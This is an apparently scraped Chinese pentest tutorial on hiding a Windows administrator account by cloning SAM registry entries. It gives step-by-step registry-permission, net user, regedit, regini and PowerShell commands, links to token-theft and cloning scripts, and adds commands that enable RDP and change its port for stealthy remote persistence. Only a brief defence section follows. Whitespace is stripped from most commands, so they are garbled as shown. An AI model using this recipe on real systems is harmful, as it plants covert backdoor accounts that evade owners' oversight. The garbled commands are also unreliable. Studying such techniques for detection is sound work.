台式电脑

怎么样隐藏电脑账户(Windows系统的帐户隐藏)

本文将要介绍以下内容:

·帐户隐藏的方法

·编写脚本实现思路

·结合远程桌面多用户登录的利用思路

Windows系统的帐户隐藏

0x02帐户隐藏的方法

该方法在网上已有相关资料,本节只做简单复现

测试系统:·Win7x86

1、对注册表赋予权限

默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改

现在需要为其添加管理员权限

右键-权限-选中Administrators,允许完全控制

如下图

Windows系统的帐户隐藏

重新启动注册表regedit.exe,获得对该键值的修改权限

2、新建特殊帐户

netusertest$123456/addnetlocalgroupadministratorstest$/add

注:

用户名要以$结尾

添加后,该帐户可在一定条件下隐藏,输入netuser无法获取,如下图

Windows系统的帐户隐藏

但是,在控制面板能够发现该帐户

如下图

Windows系统的帐户隐藏

3、导出注册表

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$

获取默认类型为0x3ea

将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA

如下图

Windows系统的帐户隐藏

右键将该键导出为2.reg,保存的文件信息如下图

Windows系统的帐户隐藏

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如下图

Windows系统的帐户隐藏

4、命令行删除特殊帐户

netusertest$/del

5、导入reg文件

regedit/s1.regregedit/s2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过netuser无法列出该帐户

计算机管理-本地用户和组-用户也无法列出该帐户

但可通过如下方式查看:

netusertest$

如下图

Windows系统的帐户隐藏

无法通过netusertest$/del删除该用户,提示用户不属于此组,如下图

Windows系统的帐户隐藏

删除方法:

删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下对应帐户的键值(共有两处)

注:

工具HideAdmin能自动实现以上的创建和删除操作

Windows系统的帐户隐藏

0x03编写脚本实现思路

采用powershell脚本实现的两种思路:

1、对注册表添加管理员帐户的编辑权限

使用regini注册ini文件为注册表及其子键赋予权限

注:

Powershell通过Set-Acl为注册表赋予权限,示例代码:

$acl=Get-AclHKLM:SAM\SAM\$person=[System.Security.Principal.NTAccount]"Administrators"$access=[System.Security.AccessControl.RegistryRights]"FullControl"$inheritance=[System.Security.AccessControl.InheritanceFlags]"None"$propagation=[System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"$type=[System.Security.AccessControl.AccessControlType]"Allow"$rule=New-ObjectSystem.Security.AccessControl.RegistryAccessRule(`$person,$access,$inheritance,$propagation,$type)$acl.ResetAccessRule($rule)Set-AclHKLM:SAM\SAM\Domains\Account\Users\Names$acl

但不支持对子键的权限分配,因此不采用该方法

以下内容保存为a.ini:

HKEY_LOCAL_MACHINE\SAM\SAM\*[117]

注:

*代表枚举所有子键

1代表Administrators完全访问

17代表System完全访问

详细权限说明可通过cmd执行regini获取帮助,如下图

Windows系统的帐户隐藏

通过regini注册:

reginia.ini

Evilcg就是通过这种方式实现的,脚本地址:

https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1

注:

使用*需要system权限,但只把相关的列举出来,只需要管理员权限即可,例如:

HKEY_LOCAL_MACHINESAM[117]HKEY_LOCAL_MACHINESAMSAM[117]HKEY_LOCAL_MACHINESAMSAMDomains[117]HKEY_LOCAL_MACHINESAMSAMDomainsAccount[117]HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers[117]HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames[117]

2、直接获得System权限

我在之前的文章《渗透技巧——Token窃取与利用》介绍过通过token复制获得system权限的方法

怎么样隐藏电脑账户(Windows系统的帐户隐藏)

所以,可以先获得System权限,进而拥有对注册表的编辑权限

简单的方式,通过Invoke-TokenManipulation.ps1,地址如下:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

但我在测试时发现了一个bug,使用Invoke-TokenManipulation-ImpersonateUser-Username"ntauthority\system"无法将当前权限切换为System权限

但可以使用Invoke-TokenManipulation-CreateProcess"cmd.exe"-Username"ntauthoritysystem"新打开一个System权限的进程

接下来,就是编写脚本实现注册表的导出替换功能:

·新建测试帐户

·将注册表导出到temp目录,进行替换

·删除特殊帐户

·导入注册表文件

我的实现方法参照了Evilcg的最初始版本,做了细节上的优化,下载地址:

https://github.com/3gstudent/Windows-User-Clone

Windows系统的帐户隐藏

0x04结合远程桌面多用户登录的利用思路

通过以上的介绍,可得出该方法的优点:

通过克隆的方式能够继承原帐户的权限

在利用上存在以下需要注意的问题:

1、复制管理员帐户Administrator

需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态

2、复制已有帐户

在3389远程登录的利用上存在相同帐户的冲突关系

通过cmd开启本机的3389远程登录功能:

REGADD"HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer"/vfDenyTSConnections/tREG_DWORD/d00000000/fREGADD"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/vPortNumber/tREG_DWORD/d0x00000d3d/f

利用以上方法,克隆帐户a的权限,建立隐藏帐户aaa$

如果系统当前登录帐号为a,那么使用隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线

3、新建帐户再复制

进一步,大胆的思考

新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$

删除管理员帐户b,隐藏账户bbb$仍然有效

4、原帐户的维持

再进一步

克隆帐户a的权限,建立隐藏帐户aaa$

修改帐户a的密码,隐藏帐户aaa$仍然有效

Windows系统的帐户隐藏

0x05防御

针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可

当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限

隐藏帐户的登录记录,可通过查看日志获取

Windows系统的帐户隐藏

0x06小结

本文介绍了隐藏帐户的相关利用技巧,如果应用于远程桌面的多用户登录,隐蔽性会大大提高,站在防御的角度,分享出该利用方法,帮助大家更好的认识和防御。

相关新闻

返回顶部